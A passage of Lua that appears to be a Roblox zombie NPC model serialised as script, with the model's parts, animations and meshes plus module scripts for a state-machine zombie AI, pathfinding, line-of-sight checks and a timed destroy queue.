Animation211.Name = "Animation2"
Animation211.Parent = StringValue208
Animation211.AnimationId = "http://www.roblox.com/asset/?id=125750618"
NumberValue212.Name = "Weight"
NumberValue212.Parent = Animation211
NumberValue212.Value = 1
StringValue213.Name = "jump"
StringValue213.Parent = Script203
Animation214.Name = "JumpAnim"
Animation214.Parent = StringValue213
Animation214.AnimationId = "http://www.roblox.com/asset/?id=125750702"
StringValue215.Name = "run"
StringValue215.Parent = Script203
Animation216.Name = "RunAnim"
Animation216.Parent = StringValue215
Animation216.AnimationId = "http://www.roblox.com/asset/?id=125749145"
StringValue217.Name = "toolnone"
StringValue217.Parent = Script203
Animation218.Name = "ToolNoneAnim"
Animation218.Parent = StringValue217
Animation218.AnimationId = "http://www.roblox.com/asset/?id=125750867"
StringValue219.Name = "walk"
StringValue219.Parent = Script203
Animation220.Name = "WalkAnim"
Animation220.Parent = StringValue219
Animation220.AnimationId = "http://www.roblox.com/asset/?id=125749145"
Script221.Parent = Model185
table.insert(cors,sandbox(Script221,function()
local zombie = script.Parent
for _, script in pairs(zombie.ModuleScripts:GetChildren()) do
if not game.ServerStorage:FindFirstChild(script.Name) then
script:Clone().Parent = game.ServerStorage
end
end
local AI = require(game.ServerStorage.ROBLOX_ZombieAI).new(zombie)
local DestroyService = require(game.ServerStorage.ROBLOX_DestroyService)
local function clearParts(parent)
for _, part in pairs(parent:GetChildren()) do
clearParts(part)
end
local delay
if parent:IsA("Part") then
delay = math.random(5,10)
else
delay = 11
end
DestroyService:AddItem(parent, delay)
end
zombie.Humanoid.Died:connect(function()
AI.Stop()
math.randomseed(tick())
clearParts(zombie)
script.Disabled = true
end)
local lastMoan = os.time()
math.randomseed(os.time())
while true do
local animationTrack = zombie.Humanoid:LoadAnimation(zombie.Animations.Arms)
animationTrack:Play()
-- local now = os.time()
-- if now - lastMoan > 5 then
-- if math.random() > .3 then
-- zombie.Moan:Play()
---- print("playing moan")
-- lastMoan = now
-- end
-- end
wait(2)
end
end))
BillboardGui222.Parent = Model185
BillboardGui222.Size = UDim2.new(0, 100, 0, 30)
BillboardGui222.StudsOffset = Vector3.new(0, 5, 0)
TextLabel223.Parent = BillboardGui222
TextLabel223.Visible = false
TextLabel223.Size = UDim2.new(1, 0, 1, 0)
TextLabel223.BackgroundColor = BrickColor.new("Institutional white")
TextLabel223.BackgroundColor3 = Color3.new(1, 1, 1)
TextLabel223.Font = Enum.Font.SourceSansBold
TextLabel223.FontSize = Enum.FontSize.Size24
TextLabel223.Text = "Idle"
TextLabel223.TextSize = 24
Configuration224.Name = "ModuleScripts"
Configuration224.Parent = Model185
ModuleScript225.Name = "ROBLOX_AIUtilities"
ModuleScript225.Parent = Configuration224
table.insert(cors,sandbox(ModuleScript225,function()
local utility = {}
function utility:WideRayCast(start, target, offset, ignoreList)
local parts = {}
local ray = Ray.new(start, target - start)
local part, point = game.Workspace:FindPartOnRayWithIgnoreList(ray, ignoreList)
if part then table.insert(parts, part) end
local offsetVector = offset * (target - start):Cross(Vector3.FromNormalId(Enum.NormalId.Top)).unit
local ray = Ray.new(start + offsetVector, target - start + offsetVector)
local part, point = game.Workspace:FindPartOnRayWithIgnoreList(ray, ignoreList)
if part then table.insert(parts, part) end
local ray = Ray.new(start - offsetVector, target - start - offsetVector)
local part, point = game.Workspace:FindPartOnRayWithIgnoreList(ray, ignoreList)
if part then table.insert(parts, part) end
return parts
end
function utility:FindNearestPathPoint(path, point, start, target, ignoreList)
local occludePoint = path:CheckOcclusionAsync(point)
if occludePoint > 0 then
utility:WideRayCast(start)
end
end
local maxForce = 15
function utility:GetRepulsionVector(unitPosition, otherUnitsPositions)
local repulsionVector = Vector3.new(0,0,0)
local count = 0
for _, other in pairs(otherUnitsPositions) do
local fromOther = unitPosition - other
--fromOther = fromOther.unit * ((-maxForce / 5) * math.pow(fromOther.magnitude,2) + maxForce)
fromOther = fromOther.unit * 1000 / math.pow((fromOther.magnitude + 1), 2)
repulsionVector = repulsionVector + fromOther
end
return repulsionVector * maxForce
end
function utility:GetIdleState(StateMachine)
local IdleState = StateMachine.NewState()
IdleState.Name = "Idle"
IdleState.Action = function() end
IdleState.Init = function() end
return IdleState
end
function utility:GetClosestVisibleTarget(npcModel, characters, ignoreList, fieldOfView)
local closestTarget = nil
local closestDistance = math.huge
for _, character in pairs(characters) do
local toTarget = character.HumanoidRootPart.Position - npcModel.HumanoidRootPart.Position
local toTargetWedge = toTarget * Vector3.new(1,0,1)
local angle = math.acos(toTargetWedge:Dot(npcModel.HumanoidRootPart.CFrame.lookVector)/toTargetWedge.magnitude)
if math.deg(angle) < fieldOfView then
local targetRay = Ray.new(npcModel.HumanoidRootPart.Position, toTarget)
local part, position = game.Workspace:FindPartOnRayWithIgnoreList(targetRay, ignoreList)
if part and part.Parent == character then
if toTarget.magnitude < closestDistance then
closestTarget = character
closestDistance = toTarget.magnitude
end
end
end
end
return closestTarget
end
local function isSpaceEmpty(position)
local region = Region3.new(position - Vector3.new(2,2,2), position + Vector3.new(2,2,2))
return game.Workspace:IsRegion3Empty(region)
end
function utility:FindCloseEmptySpace(model)
local targetPos = Vector3.new(0,0,0)
local count = 0
math.randomseed(os.time())
repeat
local xoff = math.random(5,10)
if math.random() > .5 then
xoff = xoff * -1
end
local zoff = math.random(5, 10)
if math.random() > .5 then
zoff = zoff * -1
end
targetPos = Vector3.new(model.HumanoidRootPart.Position.X + xoff,model.HumanoidRootPart.Position.Y,model.HumanoidRootPart.Position.Z + zoff)
if isSpaceEmpty(targetPos) then
return targetPos
else
targetPos = targetPos + Vector3.new(0,4,0)
end
if isSpaceEmpty(targetPos) then
return targetPos
end
count = count + 1
until count > 10
return nil
end
return utility
end))
ModuleScript226.Name = "ROBLOX_DestroyService"
ModuleScript226.Parent = Configuration224
table.insert(cors,sandbox(ModuleScript226,function()
local destroyService = {}
local destroyQueue = {}
function destroyService:AddItem(theobject, delay)
local now = os.time()
local destroyObject = {object = theobject, destroyTime = delay + now}
for i, storedObject in pairs(destroyQueue) do
if destroyQueue[i].destroyTime > destroyObject.destroyTime then
table.insert(destroyQueue, i, destroyObject)
return true
end
end
table.insert(destroyQueue, destroyObject)
return true
end
local updateThread = coroutine.create(function()
while true do
local now = os.time()
for _, storedObject in pairs(destroyQueue) do
if now >= storedObject.destroyTime then
table.remove(destroyQueue, 1)
if storedObject.object then
storedObject.object:Destroy()
end
elseif now >= storedObject.destroyTime - 1 then
if storedObject.object and storedObject.object:IsA("Part") then
local trans = storedObject.object.Transparency + 1/30
storedObject.object.Transparency = trans
end
else
break
end
end
wait()
end
end)
coroutine.resume(updateThread)
return destroyService
end))
ModuleScript227.Name = "ROBLOX_HumanoidList"
ModuleScript227.Parent = Configuration224
table.insert(cors,sandbox(ModuleScript227,function()
local humanoidList = {}
local storage = {}
function humanoidList:GetCurrent()
return storage
end
local function findHumanoids(object, list)
if object then
if object:IsA("Humanoid") then
table.insert(list, object)
end
for _, child in pairs(object:GetChildren()) do
local childList = findHumanoids(child, list)
end
end
end
local updateThread = coroutine.create(function()
while true do
storage = {}
findHumanoids(game.Workspace, storage)
wait(3)
end
end)
coroutine.resume(updateThread)
return humanoidList
end))
ModuleScript228.Name = "ROBLOX_StateMachine"
ModuleScript228.Parent = Configuration224
table.insert(cors,sandbox(ModuleScript228,function()
local machine = {}
machine.new = function()
local StateMachine = {}
StateMachine.WaitTime = .2
StateMachine.CurrentState = nil
StateMachine.SwitchState = function(newState)
if StateMachine.CurrentState then
StateMachine.CurrentState.Stop()
end
StateMachine.CurrentState = newState
if newState then
newState.Start()
end
end
StateMachine.NewState = function()
local state = {}
state.Name = ""
state.Conditions = {}
state.isRunning = false
state.Action = function() end
state.Run = function()
state.isRunning = true
while state.isRunning do
--check conditions
--print("checking conditions")
for _, condition in pairs(state.Conditions) do
--print("Checking " .. condition.Name)
if condition.Evaluate() then
--print(condition.Name .. " is true. Switching states")
StateMachine.SwitchState(condition.TransitionState)
return
end
end
--if no conditions satisfied, perform action
state.Action()
wait(StateMachine.WaitTime)
end
end
state.Init = function()
end
state.Start = function()
--print("Starting " .. state.Name)
state.Init()
local thread = coroutine.create(state.Run)
coroutine.resume(thread)
end
state.Stop = function()
--print("Stopping " .. state.Name)
state.isRunning = false
end
return state
end
StateMachine.NewCondition = function()
local condition = {}
condition.Name = ""
condition.Evaluate = function() print("replace me") return false end
condition.TransitionState = {}
return condition
end
return StateMachine
end
return machine
end))
ModuleScript229.Name = "ROBLOX_ZombieAI"
ModuleScript229.Parent = Configuration224
table.insert(cors,sandbox(ModuleScript229,function()
--local PathLib = require(game.ServerStorage.PathfindingLibrary).new()
local HumanoidList = require(game.ServerStorage.ROBLOX_HumanoidList)
local AIUtilities = require(game.ServerStorage.ROBLOX_AIUtilities)
local ZombieAI = {}
function updateDisplay(display, state)
local thread = coroutine.create(function()
while true do
wait()
if state then
display.Text = state.Name
end
end
end)
coroutine.resume(thread)
end
ZombieAI.new = function(model)
local zombie = {}
-- CONFIGURATION VARIABLES
-- local AttackRange, FieldOfView, AggroRange, ChanceOfBoredom, BoredomDuration,
-- Damage, DamageCooldown
local configTable = model.Configurations
local configs = {}
local function loadConfig(configName, defaultValue)
if configTable:FindFirstChild(configName) then
configs[configName] = configTable:FindFirstChild(configName).Value
else
configs[configName] = defaultValue
end
end
loadConfig("AttackRange", 3)
loadConfig("FieldOfView", 180)
loadConfig("AggroRange", 200)
loadConfig("ChanceOfBoredom", .5)
loadConfig("BoredomDuration", 10)
loadConfig("Damage", 10)
loadConfig("DamageCooldown", 1)
local StateMachine = require(game.ServerStorage.ROBLOX_StateMachine).new()
local PathLib = require(game.ServerStorage.ROBLOX_PathfindingLibrary).new()
local ZombieTarget = nil
local ZombieTargetLastLocation = nil
local lastBored = os.time()
-- STATE DEFINITIONS
-- IdleState: NPC stays still. Refreshes bored timer when started to
-- allow for random state change
local IdleState = StateMachine.NewState()
IdleState.Name = "Idle"
IdleState.Action = function()
end
IdleState.Init = function()
lastBored = os.time()
end
-- SearchState: NPC wanders randomly increasing chance of spotting
-- enemy. Refreshed bored timer when started to allow for random state
-- change
local SearchState = StateMachine.NewState()
SearchState.Name = "Search"
local lastmoved = os.time()
local searchTarget = nil
SearchState.Action = function()
-- move to random spot nearby
if model then
local now = os.time()
if now - lastmoved > 2 then
lastmoved = now
local xoff = math.random(5, 10)
if math.random() > .5 then
xoff = xoff * -1
end
local zoff = math.random(5, 10)
if math.random() > .5 then
zoff = zoff * -1
end
local testtarg = AIUtilities:FindCloseEmptySpace(model)
--if testtarg then print(testtarg) else print("could not find") end
searchTarget = Vector3.new(model.HumanoidRootPart.Position.X + xoff,model.HumanoidRootPart.Position.Y,model.HumanoidRootPart.Position.Z + zoff)
--local target = Vector3.new(model.HumanoidRootPart.Position.X + xoff,model.HumanoidRootPart.Position.Y,model.HumanoidRootPart.Position.Z + zoff)
--model.Humanoid:MoveTo(target)
searchTarget = testtarg
end
if searchTarget then
PathLib:MoveToTarget(model, searchTarget)
end
end
end
SearchState.Init = function()
lastBored = os.time()
end
-- PursueState: Enemy has been spotted, need to give chase.
local PursueState = StateMachine.NewState()
PursueState.Name = "Pursue"
PursueState.Action = function()
-- Double check we still have target
if ZombieTarget then
-- Get distance to target
local distance = (model.HumanoidRootPart.Position - ZombieTarget.HumanoidRootPart.Position).magnitude
-- If we're far from target use pathfinding to move. Otherwise just MoveTo
if distance > configs["AttackRange"] + 5 then
PathLib:MoveToTarget(model, ZombieTarget.HumanoidRootPart.Position)
else
model.Humanoid:MoveTo(ZombieTarget.HumanoidRootPart.Position)
-- if ZombieTarget.HumanoidRootPart.Position.Y > model.HumanoidRootPart.Position.Y + 2 then
-- model.Humanoid.Jump = true
-- end
end
end
end
PursueState.Init = function()
end
-- AttackState: Keep moving towards target and play attack animation.
local AttackState = StateMachine.NewState()
AttackState.Name = "Attack"
local lastAttack = os.time()
local attackTrack = model.Humanoid:LoadAnimation(model.Animations.Attack)
AttackState.Action = function()
model.Humanoid:MoveTo(ZombieTarget.HumanoidRootPart.Position)
local now = os.time()
if now - lastAttack > 3 then
lastAttack = now
attackTrack:Play()
end
end
-- HuntState: Can't see target but NPC will move to target's last known location.
-- Will eventually get bored and switch state.
local HuntState = StateMachine.NewState()
HuntState.Name = "Hunt"
HuntState.Action = function()
if ZombieTargetLastLocation then
PathLib:MoveToTarget(model, ZombieTargetLastLocation)
end
end
HuntState.Init = function()
lastBored = os.time() + configs["BoredomDuration"] / 2
end
-- CONDITION DEFINITIONS
-- CanSeeTarget: Determines if a target is visible. Returns true if target is visible and
-- sets current target. A target is valid if it is nearby, visible, has a Torso and WalkSpeed
-- greater than 0 (this is to ignore inanimate objects that happen to use humanoids)
local CanSeeTarget = StateMachine.NewCondition()
CanSeeTarget.Name = "CanSeeTarget"
CanSeeTarget.Evaluate = function()
if model then
-- Get list of all nearby Zombies and non-Zombie humanoids
-- Zombie list is used to ignore zombies during later raycast
local humanoids = HumanoidList:GetCurrent()
local zombies = {}
local characters = {}
for _, object in pairs(humanoids) do
if object and object.Parent and object.Parent:FindFirstChild("HumanoidRootPart") and object.Health > 0 and object.WalkSpeed > 0 then
local torso = object.Parent:FindFirstChild("HumanoidRootPart")
if torso then
local distance = (model.HumanoidRootPart.Position - torso.Position).magnitude
if distance <= configs["AggroRange"] then
if object.Parent.Name == "Drooling Zombie" then
table.insert(zombies, object.Parent)
else
table.insert(characters, object.Parent)
end
end
end
end
end
local target = AIUtilities:GetClosestVisibleTarget(model, characters, zombies, configs["FieldOfView"])
if target then
ZombieTarget = target
return true
end
-- -- Go through each valid target to see if within field of view and if there is
-- -- clear line of sight. Field of view treated as wedge in front of character.
-- for _, character in pairs(characters) do
-- local toTarget = (character.HumanoidRootPart.Position - model.HumanoidRootPart.Position)
-- toTarget = Vector3.new(toTarget.X, 0, toTarget.Z)
-- local angle = math.acos(toTarget:Dot(model.HumanoidRootPart.CFrame.lookVector)/toTarget.magnitude)
-- if math.deg(angle) < configs["FieldOfView"]/2 then
-- ZombieTarget = character
-- -- raycast to see if target is actually visible
-- local toTarget = Ray.new(model.HumanoidRootPart.Position, (ZombieTarget.HumanoidRootPart.Position - model.HumanoidRootPart.Position))
-- local part, position = game.Workspace:FindPartOnRayWithIgnoreList(toTarget, zombies)
-- if part and part.Parent == ZombieTarget then
-- return true
-- end
-- ZombieTarget = nil
-- end
-- end
end
return false
end
CanSeeTarget.TransitionState = PursueState
-- TargetDead: Check if target is dead.
local TargetDead = StateMachine.NewCondition()
TargetDead.Name = "TargetDead"
TargetDead.Evaluate = function()
if ZombieTarget and ZombieTarget.Humanoid then
return ZombieTarget.Humanoid.Health <= 0
end
return true
end
TargetDead.TransitionState = IdleState
-- GotDamaged: Check if NPC has taken damage
local lastHealth = model.Humanoid.Health
local GotDamaged = StateMachine.NewCondition()
GotDamaged.Name = "GotDamaged"
GotDamaged.Evaluate = function()
if model then
if lastHealth > model.Humanoid.Health then
return true
end
end
return false
end
GotDamaged.TransitionState = SearchState
-- GotBored: Used to provide random state change.
local GotBored = StateMachine.NewCondition()
GotBored.Name = "GotBored"
GotBored.Evaluate = function()
local now = os.time()
if now - lastBored > configs["BoredomDuration"] then
local roll = math.random()
if roll < configs["ChanceOfBoredom"] then
lastBored = now
if GotBored.TransitionState == SearchState then
GotBored.TransitionState = IdleState
else
GotBored.TransitionState = SearchState
end
return true
end
end
return false
end
GotBored.TransitionState = IdleState
-- LostTarget: Checks clear line of sight
local LostTarget = StateMachine.NewCondition()
LostTarget.Name = "LostTarget"
LostTarget.Evaluate = function()
if true then return false end
if ZombieTarget then
if (ZombieTarget.HumanoidRootPart.Position - model.HumanoidRootPart.Position).magnitude > 10 then
local toTarget = Ray.new(model.HumanoidRootPart.Position, (ZombieTarget.HumanoidRootPart.Position - model.HumanoidRootPart.Position))
local part, position = game.Workspace:FindPartOnRay(toTarget, model)
if not part or part.Parent ~= ZombieTarget then
--print("Lost target!")
ZombieTargetLastLocation = ZombieTarget.HumanoidRootPart.Position
ZombieTarget = nil
return true
end
end
end
return false
end
LostTarget.TransitionState = HuntState
local WithinRange = StateMachine.NewCondition()
WithinRange.Name = "WithinRange"
WithinRange.Evaluate = function()
if ZombieTarget then
local distance = (model.HumanoidRootPart.Position - ZombieTarget.HumanoidRootPart.Position).magnitude
if distance < configs["AttackRange"] then
--print("Within attack range!")
return true
end
end
return false
end
WithinRange.TransitionState = AttackState
local OutsideRange = StateMachine.NewCondition()
OutsideRange.Name = "OutsideRange"
OutsideRange.Evaluate = function()
if ZombieTarget then
local distance = (model.HumanoidRootPart.Position - ZombieTarget.HumanoidRootPart.Position).magnitude
if distance > configs["AttackRange"] then
--print("Outside attack range!")
return true
end
end
return false
end
OutsideRange.TransitionState = PursueState
table.insert(IdleState.Conditions, CanSeeTarget)
table.insert(IdleState.Conditions, GotDamaged)
table.insert(IdleState.Conditions, GotBored)
table.insert(SearchState.Conditions, GotBored)
table.insert(SearchState.Conditions, CanSeeTarget)
table.insert(PursueState.Conditions, LostTarget)
table.insert(PursueState.Conditions, WithinRange)
table.insert(PursueState.Conditions, TargetDead)
table.insert(AttackState.Conditions, OutsideRange)
table.insert(AttackState.Conditions, TargetDead)
table.insert(HuntState.Conditions, GotBored)
table.insert(HuntState.Conditions, CanSeeTarget)
-- Setup arms damage
local canHit = true
local lastHit = os.time()
local function handleHit(other)
if canHit then
if other and other.Parent and other.Parent.Name ~= "Drooling Zombie" and other.Parent:FindFirstChild("Humanoid") then
local enemy = other.Parent
if enemy.Humanoid.WalkSpeed > 0 then
enemy.Humanoid.Health = enemy.Humanoid.Health - configs["Damage"]
canHit = false
end
end
else
local now = os.time()
if now - lastHit > configs["DamageCooldown"] then
lastHit = now
canHit = true
end
end
end
local leftHitConnect, rightHitConnect
leftHitConnect = model:FindFirstChild("Left Arm").Touched:connect(handleHit)
rightHitConnect = model:FindFirstChild("Right Arm").Touched:connect(handleHit)
--ZombieAI.Animate(model)
--updateDisplay()
--updateDisplay(model.BillboardGui.TextLabel, StateMachine.CurrentState)
local thread = coroutine.create(function()
while true do
wait()
-- calculate repulsion force
local humanoids = HumanoidList:GetCurrent()
local localZombies = {}
for _, humanoid in pairs(humanoids) do
if humanoid and humanoid ~= model.Humanoid and humanoid.Parent and humanoid.Parent:FindFirstChild("HumanoidRootPart") then
local torso = humanoid.Parent:FindFirstChild("HumanoidRootPart")
local distance = (model.HumanoidRootPart.Position - torso.Position).magnitude
if distance <= 2.5 then
table.insert(localZombies, torso.Position)
end
end
end
local repulsionDirection = AIUtilities:GetRepulsionVector(model.HumanoidRootPart.Position, localZombies)
if repulsionDirection.magnitude > 0 then
--print("replusion direction: " .. tostring(repulsionDirection))
end
model.HumanoidRootPart.RepulsionForce.force = repulsionDirection
if StateMachine.CurrentState and model.Configurations.Debug.Value then
model.BillboardGui.TextLabel.Visible = true
model.BillboardGui.TextLabel.Text = StateMachine.CurrentState.Name
end
if not model.Configurations.Debug.Value then
model.BillboardGui.TextLabel.Visible = false
end
end
end)
coroutine.resume(thread)
StateMachine.SwitchState(IdleState)
zombie.Stop = function()
StateMachine.SwitchState(nil)
end
return zombie
end
return ZombieAI
end))
ModuleScript230.Name = "ROBLOX_PathfindingLibrary"
ModuleScript230.Parent = Configuration224
table.insert(cors,sandbox(ModuleScript230,function()
local PathfindingUtility = {}
local TargetOffsetMax = 10--5
local JumpThreshold = 1.5 --2.5
local NextPointThreshold = 4
local PathfindingService = game:GetService("PathfindingService")
PathfindingService.EmptyCutoff = .3
function PathfindingUtility.new()
local this = {}
local currentTargetPos = nil
local lastTargetPos = Vector3.new(math.huge, math.huge, math.huge)
local path = nil
local currentPointIndex = 1
function this:MoveToTarget(character, target)
local targetOffset = (lastTargetPos - target).magnitude
--
-- local targetOffsetVector = (lastTargetPos - target)
-- if targetOffsetVector.magnitude < math.huge then
-- targetOffsetVector = (lastTargetPos - target) * Vector3.new(1,0,1)
-- end
if targetOffset > TargetOffsetMax then
--if targetOffsetVector.magnitude > TargetOffsetMax then
--print("moveto")
local startPoint = character.HumanoidRootPart.Position
local humanoidState = character.Humanoid:GetState()
if humanoidState == Enum.HumanoidStateType.Jumping or humanoidState == Enum.HumanoidStateType.Freefall then
--print("this")
local ray = Ray.new(character.HumanoidRootPart.Position, Vector3.new(0, -100, 0))
local hitPart, hitPoint = game.Workspace:FindPartOnRay(ray, character)
if hitPart then
startPoint = hitPoint
end
end
--print("making new path")
local newTarget = target
local ray = Ray.new(target + Vector3.new(0,-3,0), Vector3.new(0, -100, 0))
local hitPart, hitPoint = game.Workspace:FindPartOnRay(ray, character)
if hitPoint then
if (hitPoint - target).magnitude > 4 then
newTarget = newTarget * Vector3.new(1,0,1) + Vector3.new(0,3,0)
end
end
--local newTarget = Vector3.new(1,0,1) * target + Vector3.new(0, 2, 0)
path = PathfindingService:ComputeSmoothPathAsync(startPoint, newTarget, 500)
if path.Status ~= Enum.PathStatus.Success then
--print(tostring(path.Status))
end
--path = PathfindingService:ComputeRawPathAsync(startPoint, target, 500)
-- game.Workspace.Points:ClearAllChildren()
-- local ps = path:GetPointCoordinates()
-- for _, point in pairs(ps) do
-- local part = Instance.new("Part", game.Workspace.Points)
-- part.CanCollide = false
-- part.Anchored = true
-- part.FormFactor = Enum.FormFactor.Custom
-- part.Size = Vector3.new(1,1,1)
-- part.Position = point
-- end
currentPointIndex = 1
lastTargetPos = target
end
if path then
local points = path:GetPointCoordinates()
if currentPointIndex < #points then
local currentPoint = points[currentPointIndex]
local distance = (character.HumanoidRootPart.Position - currentPoint).magnitude
if distance < NextPointThreshold then
currentPointIndex = currentPointIndex + 1
end
character.Humanoid:MoveTo(points[currentPointIndex])
if points[currentPointIndex].Y - character.HumanoidRootPart.Position.Y > JumpThreshold then
character.Humanoid.Jump = true
end
else
character.Humanoid:MoveTo(target)
end
end
end
return this
end
return PathfindingUtility
end))
Configuration231.Name = "Configurations"
Configuration231.Parent = Model185
IntValue232.Name = "Damage"
IntValue232.Parent = Configuration231
IntValue232.Value = 30
BoolValue233.Name = "Debug"
BoolValue233.Parent = Configuration231
IntValue234.Name = "FieldOfView"
IntValue234.Parent = Configuration231
IntValue234.Value = 180
IntValue235.Name = "AggroRange"
IntValue235.Parent = Configuration231
IntValue235.Value = 200
Configuration236.Name = "Animations"
Configuration236.Parent = Model185
Animation237.Name = "Attack"
Animation237.Parent = Configuration236
Animation237.AnimationId = "http://www.roblox.com/asset/?id=180416148"
Animation238.Name = "Arms"
Animation238.Parent = Configuration236
Animation238.AnimationId = "http://www.roblox.com/asset/?id=183294396"
CharacterMesh239.Name = "Zombie Left Arm"
CharacterMesh239.Parent = Model185
CharacterMesh239.BodyPart = Enum.BodyPart.LeftArm
CharacterMesh239.MeshId = 37683097
CharacterMesh239.OverlayTextureId = 37686282
CharacterMesh240.Name = "Zombie Left Leg"
CharacterMesh240.Parent = Model185
CharacterMesh240.BodyPart = Enum.BodyPart.LeftLeg
CharacterMesh240.MeshId = 37683150
CharacterMesh240.OverlayTextureId = 37687646
CharacterMesh241.Name = "Zombie Right Arm"
CharacterMesh241.Parent = Model185
CharacterMesh241.BodyPart = Enum.BodyPart.RightArm
CharacterMesh241.MeshId = 37683174
CharacterMesh241.OverlayTextureId = 37686282
CharacterMesh242.Name = "Zombie Right Leg"
CharacterMesh242.Parent = Model185
CharacterMesh242.BodyPart = Enum.BodyPart.RightLeg
CharacterMesh242.MeshId = 37683227
CharacterMesh242.OverlayTextureId = 37687646
CharacterMesh243.Name = "Zombie torso"
CharacterMesh243.Parent = Model185
CharacterMesh243.BodyPart = Enum.BodyPart.Torso
CharacterMesh243.MeshId = 37683263
CharacterMesh243.OverlayTextureId = 37686282
Sound244.Name = "Moan"
Sound244.Parent = Model185
Sound244.Pitch = 0.15000000596046
Sound244.PlaybackSpeed = 0.15000000596046
Sound244.Volume = 0.050000000745058
BodyColors245.Parent = Model185
BodyColors245.HeadColor = BrickColor.new("Camo")
BodyColors245.HeadColor3 = Color3.new(0.227451, 0.490196, 0.0823529)
BodyColors245.LeftArmColor = BrickColor.new("Earth green")
BodyColors245.LeftArmColor3 = Color3.new(0.152941, 0.27451, 0.176471)
BodyColors245.LeftLegColor = BrickColor.new("Earth green")
BodyColors245.LeftLegColor3 = Color3.new(0.152941, 0.27451, 0.176471)
BodyColors245.RightArmColor = BrickColor.new("Earth green")
BodyColors245.RightArmColor3 = Color3.new(0.152941, 0.27451, 0.176471)
BodyColors245.RightLegColor = BrickColor.new("Earth green")
BodyColors245.RightLegColor3 = Color3.new(0.152941, 0.27451, 0.176471)
BodyColors245.TorsoColor = BrickColor.new("Earth green")
BodyColors245.TorsoColor3 = Color3.new(0.152941, 0.27451, 0.176471)
Model246.Name = "Drooling Zombie"
Model246.Parent = Model1
Part247.Name = "HumanoidRootPart"
Part247.Parent = Model246
Part247.CFrame = CFrame.new(162.5, 2.99995422, -75, 0, 0, -1, 2.11850898e-33, 1, 0, 1, -2.11850916e-33, 0)
Part247.Orientation = Vector3.new(0, -90, 0)
Part247.Position = Vector3.new(162.5, 2.99995422, -75)
Part247.Rotation = Vector3.new(0, -90, 0)
Part247.Color = Color3.new(0.152941, 0.27451, 0.176471)
Part247.Transparency = 1
Part247.Size = Vector3.new(2, 2, 1)
Part247.BottomSurface = Enum.SurfaceType.Smooth
Part247.BrickColor = BrickColor.new("Earth green")
Part247.Material = Enum.Material.WoodPlanks
Part247.TopSurface = Enum.SurfaceType.Smooth
Part247.brickColor = BrickColor.new("Earth green")
Part247.FormFactor = Enum.FormFactor.Symmetric
Part247.formFactor = Enum.FormFactor.Symmetric
Motor6D248.Name = "Root Hip"
Motor6D248.Parent = Part247
Motor6D248.MaxVelocity = 0.10000000149012
Motor6D248.C0 = CFrame.new(0, 0, 0, -1, 0, 0, 0, 0, 1, 0, 1, -0)
Motor6D248.C1 = CFrame.new(0, 0, 0, -1, 0, 0, 0, 0, 1, 0, 1, -0)
Motor6D248.Part0 = Part247
Motor6D248.Part1 = Part250
Motor6D248.part1 = Part250
BodyForce249.Name = "RepulsionForce"
BodyForce249.Parent = Part247
BodyForce249.Force = Vector3.new(0, 0, 0)
BodyForce249.force = Vector3.new(0, 0, 0)
Part250.Name = "Torso"
Part250.Parent = Model246
Part250.CFrame = CFrame.new(162.5, 2.99995422, -75, 0, 0, -1, 2.11850898e-33, 1, 0, 1, -2.11850916e-33, 0)
Part250.Orientation = Vector3.new(0, -90, 0)
Part250.Position = Vector3.new(162.5, 2.99995422, -75)
Part250.Rotation = Vector3.new(0, -90, 0)
Part250.Color = Color3.new(0.156863, 0.498039, 0.278431)
Part250.Size = Vector3.new(2, 2, 1)
Part250.BottomSurface = Enum.SurfaceType.Smooth
Part250.BrickColor = BrickColor.new("Dark green")
Part250.Material = Enum.Material.WoodPlanks
Part250.TopSurface = Enum.SurfaceType.Smooth
Part250.brickColor = BrickColor.new("Dark green")
Part250.FormFactor = Enum.FormFactor.Symmetric
Part250.formFactor = Enum.FormFactor.Symmetric
Motor6D251.Name = "Left Hip"
Motor6D251.Parent = Part250
Motor6D251.MaxVelocity = 0.10000000149012
Motor6D251.C0 = CFrame.new(-1, -1, 0, -4.37113883e-08, 0, -1, 0, 0.99999994, 0, 1, 0, -4.37113883e-08)
Motor6D251.C1 = CFrame.new(-0.5, 1, 0, -4.37113883e-08, 0, -1, 0, 0.99999994, 0, 1, 0, -4.37113883e-08)
Motor6D251.Part0 = Part250
Motor6D251.Part1 = Part256
Motor6D251.part1 = Part256
Motor6D252.Name = "Right Hip"
Motor6D252.Parent = Part250
Motor6D252.MaxVelocity = 0.10000000149012
Motor6D252.C0 = CFrame.new(1, -1, 0, -4.37113883e-08, 0, 1, -0, 0.99999994, 0, -1, 0, -4.37113883e-08)
Motor6D252.C1 = CFrame.new(0.5, 1, 0, -4.37113883e-08, 0, 1, 0, 0.99999994, 0, -1, 0, -4.37113883e-08)
Motor6D252.Part0 = Part250
Motor6D252.Part1 = Part257
Motor6D252.part1 = Part257
Motor6D253.Name = "Left Shoulder"
Motor6D253.Parent = Part250
Motor6D253.MaxVelocity = 0.10000000149012
Motor6D253.C0 = CFrame.new(-1, 0.5, 0, -4.37113883e-08, 0, -1, 0, 0.99999994, 0, 1, 0, -4.37113883e-08)
Motor6D253.C1 = CFrame.new(0.5, 0.5, 0, -4.37113883e-08, 0, -1, 0, 0.99999994, 0, 1, 0, -4.37113883e-08)
Motor6D253.Part0 = Part250
Motor6D253.Part1 = Part258
Motor6D253.part1 = Part258
Motor6D254.Name = "Right Shoulder"
Motor6D254.Parent = Part250
Motor6D254.MaxVelocity = 0.10000000149012
Motor6D254.C0 = CFrame.new(1, 0.5, 0, -4.37113883e-08, 0, 1, -0, 0.99999994, 0, -1, 0, -4.37113883e-08)
Motor6D254.C1 = CFrame.new(-0.5, 0.5, 0, -4.37113883e-08, 0, 1, 0, 0.99999994, 0, -1, 0, -4.37113883e-08)
Motor6D254.Part0 = Part250
Motor6D254.Part1 = Part259
Motor6D254.part1 = Part259
Motor6D255.Name = "Neck"
Motor6D255.Parent = Part250
Motor6D255.MaxVelocity = 0.10000000149012
Motor6D255.C0 = CFrame.new(0, 1, 0, -1, 0, 0, 0, 0, 1, 0, 1, -0)
Motor6D255.C1 = CFrame.new(0, -0.5, 0, -1, 0, 0, 0, 0, 1, 0, 1, -0)
Motor6D255.Part0 = Part250
Motor6D255.Part1 = Part260
Motor6D255.part1 = Part260
Part256.Name = "Left Leg"
Part256.Parent = Model246
Part256.CFrame = CFrame.new(162.5, 0.999954343, -75.5, 0, 0, -1, 2.11850898e-33, 0.999999881, 0, 1, -2.11850898e-33, 0)
Part256.Orientation = Vector3.new(0, -90, 0)
